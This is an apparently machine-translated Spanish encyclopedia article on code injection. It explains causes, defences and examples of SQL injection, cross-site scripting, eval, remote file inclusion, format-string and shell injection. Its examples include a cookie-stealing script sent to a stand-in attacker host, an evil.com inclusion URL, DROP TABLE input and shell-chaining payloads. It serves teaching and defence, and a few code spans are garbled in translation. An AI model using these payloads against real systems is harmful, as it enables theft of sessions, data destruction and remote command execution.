Inyección de código - Code injection

La inyección de código es la explotación de un error informático causado por el procesamiento de datos no válidos. Un atacante utiliza la inyección para introducir (o "inyectar") código en un programa informático vulnerable y cambiar el curso de la ejecución . El resultado de una inyección de código exitosa puede ser desastroso, por ejemplo, al permitir que se propaguen virus o gusanos informáticos .

Las vulnerabilidades de inyección de código ocurren cuando una aplicación envía datos que no son de confianza a un intérprete . Las fallas de inyección se encuentran con mayor frecuencia en consultas SQL , LDAP , XPath , NoSQL , comandos del sistema operativo, analizadores XML , encabezados SMTP , argumentos de programa, etc. Las fallas de inyección tienden a ser más fáciles de descubrir al examinar el código fuente que a través de las pruebas. Los escáneres y los difusores pueden ayudar a encontrar fallas en las inyecciones.

La inyección puede resultar en pérdida o corrupción de datos, falta de responsabilidad o denegación de acceso . En ocasiones, la inyección puede llevar a una adquisición completa del host.

Ciertos tipos de inyección de código son errores de interpretación, lo que le da un significado especial a la entrada del usuario. Existen errores de interpretación similares fuera del mundo de la informática, como la rutina de la comedia Who's on First? . En la rutina, no se distingue los nombres propios de las palabras normales. Asimismo, en algunos tipos de inyección de código, no se distingue la entrada del usuario de los comandos del sistema.

Las técnicas de inyección de código son populares en la piratería o craqueo de sistemas para obtener información, escalada de privilegios o acceso no autorizado a un sistema. La inyección de código se puede usar de forma malévola para muchos propósitos, que incluyen:

En 2008, el 5,66% de todas las vulnerabilidades informadas ese año se clasificaron como inyección de código, el año más alto registrado. En 2015, había disminuido al 0,77%.

Uso benigno e involuntario

La inyección de código puede usarse con buenas intenciones; por ejemplo, cambiar o ajustar el comportamiento de un programa o sistema a través de la inyección de código puede hacer que el sistema se comporte de cierta manera sin ninguna intención maliciosa. La inyección de código podría, por ejemplo:

  • Introduzca una columna nueva útil que no apareció en el diseño original de una página de resultados de búsqueda.
  • Ofrezca una nueva forma de filtrar, ordenar o agrupar datos mediante el uso de un campo no expuesto en las funciones predeterminadas del diseño original.
  • En lo que respecta a programas como Dropbox , agregue partes especiales que podrían usarse para conectarse a recursos en línea en un programa fuera de línea.
  • Utilice Linux Dynamic Linker para definir una función con el mismo nombre que ciertas funciones libc , vincular esa función como una biblioteca y anular el uso de la función libc.

Algunos usuarios pueden, sin sospecharlo, realizar la inyección de código porque los que desarrollaron originalmente el sistema no consideraron la entrada que proporcionan a un programa. Por ejemplo:

  • Lo que el usuario puede considerar una entrada válida puede contener caracteres simbólicos o cadenas de caracteres que el desarrollador ha reservado para tener un significado especial (tal vez el "&" en "Shannon & Jason" o comillas como en "Bub 'Slugger' McCracken ").
  • El usuario puede enviar un archivo con formato incorrecto como entrada que se maneja correctamente en una aplicación, pero es tóxico para el sistema receptor.

Otro uso benigno de la inyección de código podría ser el descubrimiento de las mismas fallas de inyección, con la intención de corregir estas fallas. Esto se conoce como prueba de penetración de sombrero blanco .

Previniendo problemas

Para evitar problemas de inyección de código, utilice un manejo seguro de entrada y salida, como:

  • Usar API que, si se usan correctamente, son seguras contra todos los caracteres de entrada. Las consultas parametrizadas (también conocidas como "consultas compiladas", "declaraciones preparadas", "variables vinculadas") permiten mover los datos del usuario fuera de la cadena para interpretarlos. Además, Criteria API y API similares se alejan del concepto de cadenas de comandos para crear e interpretar.
  • Hacer cumplir la separación de idiomas a través de un sistema de tipos estáticos .
  • La validación de entrada, como incluir en la lista blanca solo valores buenos conocidos, esto se puede hacer en el lado del cliente usando JavaScript, por ejemplo, o se puede hacer en el lado del servidor, que es más seguro.
  • Codificación de entrada, por ejemplo, escapar de caracteres peligrosos. Por ejemplo, en PHP, usar la htmlspecialchars()función para escapar de caracteres especiales para una salida segura de texto en HTML y mysqli::real_escape_string()para aislar los datos que se incluirán en una solicitud SQL, para proteger contra la Inyección SQL.
  • Codificación de salida, es decir, prevención de ataques de inyección de HTML (XSS) contra los visitantes del sitio web
  • HttpOnlyes una marca para las cookies HTTP que, cuando se configura, no permite la interacción del script del lado del cliente con las cookies, lo que evita ciertos ataques XSS.
  • Disociación de shell modular del kernel
  • Con SQL Injection, se pueden usar consultas parametrizadas , procedimientos almacenados , validación de entrada de lista blanca y más para ayudar a mitigar los problemas de Code Injection.

Las soluciones enumeradas anteriormente se ocupan principalmente de la inyección basada en web de código HTML o script en una aplicación del lado del servidor. Sin embargo, se deben tomar otros enfoques cuando se trata de la inyección de código de usuario en la máquina del usuario, lo que resulta en ataques de elevación de privilegios. Algunos enfoques que se utilizan para detectar y aislar inyecciones de código administradas y no administradas son:

  • Validación de hash de imagen en tiempo de ejecución: capture un hash de una parte o una imagen completa del ejecutable cargado en la memoria y compárelo con el hash almacenado y esperado.
  • Bit NX : todos los datos del usuario se almacenan en secciones de memoria especiales que están marcadas como no ejecutables. El procesador se da cuenta de que no existe ningún código en esa parte de la memoria y se niega a ejecutar cualquier cosa que se encuentre allí.
  • Canarias : coloque valores aleatoriamente en una pila. En tiempo de ejecución, se comprueba un canario cuando regresa una función. Si se ha modificado un canary, el programa detiene la ejecución y sale. Esto ocurre en un ataque de desbordamiento de pila .
  • [En C] Enmascaramiento de puntero de código (CPM): después de cargar un puntero de código (potencialmente modificado) en un registro, aplique una máscara de bits al puntero. Esto restringe efectivamente las direcciones a las que puede hacer referencia el puntero.

Ejemplos de

inyección SQL

La inyección SQL aprovecha la sintaxis de SQL para inyectar comandos que pueden leer o modificar una base de datos, o comprometer el significado de la consulta original.

Por ejemplo, considere una página web que tiene dos campos para permitir que los usuarios ingresen un nombre de usuario y una contraseña. El código detrás de la página generará una consulta SQL para comparar la contraseña con la lista de nombres de usuario:

SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'Password'

Si esta consulta devuelve filas, se concede acceso. Sin embargo, si el usuario malintencionado ingresa un nombre de usuario válido e inyecta algún código válido ( password' OR '1'='1) en el campo Contraseña, la consulta resultante se verá así:

SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'password' OR '1'='1'

En el ejemplo anterior, se supone que "Contraseña" está en blanco o es una cadena inocua. " '1'='1'" siempre será verdadero y se devolverán muchas filas, lo que permitirá el acceso.

La técnica puede perfeccionarse para permitir que se ejecuten varias sentencias, o incluso para cargar y ejecutar programas externos.

Suponga una consulta con el siguiente formato:

SELECT User.UserID
FROM User
WHERE User.UserID = ' " + UserID + " '
AND User.Pwd = ' " + Password + " '

Si un adversario tiene lo siguiente para entradas:

UserID: ';DROP TABLE User; --'

Password: 'OR"='

la consulta se analizará para que sea:

SELECT User.UserID
FROM User
WHERE User.UserID = '';DROP TABLE User; --'AND Pwd = ''OR"='

El resultado es que la tabla Userse eliminará de la base de datos. Esto ocurre porque el ;símbolo significa el final de un comando y el comienzo de uno nuevo. --significa el comienzo de un comentario.

Secuencias de comandos entre sitios

La inyección de código es la inyección o introducción maliciosa de código en una aplicación. Algunos servidores web tienen una secuencia de comandos de libro de visitas , que acepta pequeños mensajes de los usuarios y, por lo general, recibe mensajes como:

Very nice site!

Sin embargo, una persona malintencionada puede conocer una vulnerabilidad de inyección de código en el libro de visitas e ingresa un mensaje como:

Nice site, I think I'll take it. <script>window.location="https://some_attacker/evilcgi/cookie.cgi?steal=" + escape(document.cookie)</script>

Si otro usuario ve la página, se ejecutará el código inyectado. Este código puede permitir que el atacante se haga pasar por otro usuario. Sin embargo, este mismo error de software puede ser provocado accidentalmente por un usuario modesto, lo que hará que el sitio web muestre un código HTML incorrecto.

La inyección de secuencias de comandos y HTML es un tema popular, comúnmente denominado " secuencia de comandos entre sitios " o "XSS". XSS se refiere a una falla de inyección por la cual la entrada del usuario a un script web o algo similar se coloca en el HTML de salida, sin que se verifique el código HTML o el script.

Muchos de estos problemas están relacionados con suposiciones erróneas sobre qué datos de entrada son posibles o los efectos de datos especiales.

Vulnerabilidades de evaluación dinámica

Una vulnerabilidad de inyección ocurre cuando un atacante puede controlar todo o parte de una cadena de entrada que se alimenta a una llamada de función. eval()eval()

$myvar = 'somevalue';
$x = $_GET['arg'];
eval('$myvar = ' . $x . ';');

El argumento de " eval" se procesará como PHP , por lo que se pueden agregar comandos adicionales. Por ejemplo, si "arg" se establece en " ", se ejecuta código adicional que ejecuta un programa en el servidor, en este caso " ". 10; system('/bin/echo uh-oh')/bin/echo

Inyección de objetos

PHP permite la serialización y deserialización de objetos completos . Si se permite la entrada no confiable en la función de deserialización, es posible sobrescribir las clases existentes en el programa y ejecutar ataques maliciosos. Un ataque de este tipo a Joomla se encontró en 2013.

Inyección remota de archivos

Considere este programa PHP (que incluye un archivo especificado por solicitud):

<?php
$color = 'blue';
if (isset($_GET['color']))
    $color = $_GET['color'];
require($color . '.php');

El ejemplo podría leerse como solo archivos de color como blue.phpy red.phppodría cargarse, mientras que los atacantes podrían proporcionar COLOR=http://evil.com/exploitque PHP cargue el archivo externo.

Inyección de especificador de formato

Los errores de formato de cadena aparecen con mayor frecuencia cuando un programador desea imprimir una cadena que contiene datos proporcionados por el usuario. El programador puede escribir por error en printf(buffer)lugar de printf("%s", buffer). La primera versión se interpreta buffercomo una cadena de formato y analiza las instrucciones de formato que pueda contener. La segunda versión simplemente imprime una cadena en la pantalla, como pretendía el programador. Considere el siguiente programa corto en C que tiene una matriz de caracteres de variable local passwordque contiene una contraseña; el programa le pide al usuario un número entero y una cadena, luego repite la cadena proporcionada por el usuario.

  char user_input[100];
  int int_in;
  char password[10] = "Password1";

  printf("Enter an integer\n");
  scanf("%d", &int_in);
  printf("Please enter a string\n");
  fgets(user_input, sizeof(user_input), stdin);
  
  printf(user_input); // Safe version is: printf("%s", user_input);  
  printf("\n");

  return 0;

Si la entrada del usuario se llena con una lista de especificadores de formato como %s%s%s%s%s%s%s%s, entonces printf()comenzará a leer desde la pila . Finalmente, uno de los %sespecificadores de formato accederá a la dirección de password, que está en la pila, e imprimirá Password1en la pantalla.

Inyección de concha

La inyección de shell (o inyección de comandos) lleva el nombre de los shells de Unix , pero se aplica a la mayoría de los sistemas que permiten que el software ejecute una línea de comandos mediante programación . Aquí hay un ejemplo de script tcsh vulnerable :

#!/bin/tcsh
# check arg outputs it matches if arg is one 
if ($1 == 1) echo it matches

Si lo anterior está almacenado en el archivo ejecutable ./check, el comando de shell ./check " 1 ) evil"intentará ejecutar el comando de shell inyectado en evillugar de comparar el argumento con el constante. Aquí, el código atacado es el código que está tratando de verificar el parámetro, el mismo código que podría haber estado tratando de validar el parámetro para defenderse de un ataque.

Cualquier función que pueda usarse para componer y ejecutar un comando de shell es un vehículo potencial para lanzar un ataque de inyección de shell. Entre ellas se encuentran system(), StartProcess()y System.Diagnostics.Process.Start().

Los sistemas cliente-servidor , como la interacción del navegador web con los servidores web, son potencialmente vulnerables a la inyección de shell. Considere el siguiente programa PHP corto que puede ejecutarse en un servidor web para ejecutar un programa externo llamado funnytextpara reemplazar una palabra que el usuario envió por otra palabra.

<?php
passthru("/bin/funnytext " . $_GET['USER_INPUT']);

Lo passthruanterior compone un comando de shell que luego es ejecutado por el servidor web. Dado que parte del comando que compone se toma de la URL proporcionada por el navegador web, esto permite que la URL inyecte comandos de shell maliciosos. Se puede inyectar código en este programa de varias formas explotando la sintaxis de varias características del shell (esta lista no es exhaustiva):

Característica de Shell USER_INPUT valor Comando de shell resultante Explicación
Ejecución secuencial ; malicious_command /bin/funnytext ; malicious_command Ejecuta funnytext, luego ejecuta malicious_command.
Oleoductos | malicious_command /bin/funnytext | malicious_command Envía la salida de funnytextcomo entrada a malicious_command.
Sustitución de mando `malicious_command` /bin/funnytext `malicious_command` Envía la salida de malicious_commandcomo argumentos a funnytext.
Sustitución de mando $(malicious_command) /bin/funnytext $(malicious_command) Envía la salida de malicious_commandcomo argumentos a funnytext.
Y lista && malicious_command /bin/funnytext && malicious_command Ejecuta malicious_command iff funnytext devuelve un estado de salida de 0 (éxito).
O lista || malicious_command /bin/funnytext || malicious_command Ejecuta malicious_command iff funnytext devuelve un estado de salida distinto de cero (error).
Redirección de salida > ~/.bashrc /bin/funnytext > ~/.bashrc Sobrescribe el contenido del .bashrcarchivo con la salida funnytext.
Redirección de entrada < ~/.bashrc /bin/funnytext < ~/.bashrc Envía el contenido del .bashrcarchivo como entrada a funnytext.

Algunos lenguajes ofrecen funciones para escapar o citar correctamente cadenas que se utilizan para construir comandos de shell:

Sin embargo, esto todavía impone a los programadores la carga de conocer / aprender sobre estas funciones y recordar hacer uso de ellas cada vez que usen comandos de shell. Además de utilizar estas funciones, también se recomienda validar o desinfectar la entrada del usuario.

Una alternativa más segura es utilizar API que ejecuten programas externos directamente, en lugar de a través de un shell, evitando así la posibilidad de inyección de shell. Sin embargo, estas API tienden a no admitir varias características de conveniencia de los shells y / o ser más engorrosas / detalladas en comparación con la sintaxis de shell concisa.

Ver también

Referencias

enlaces externos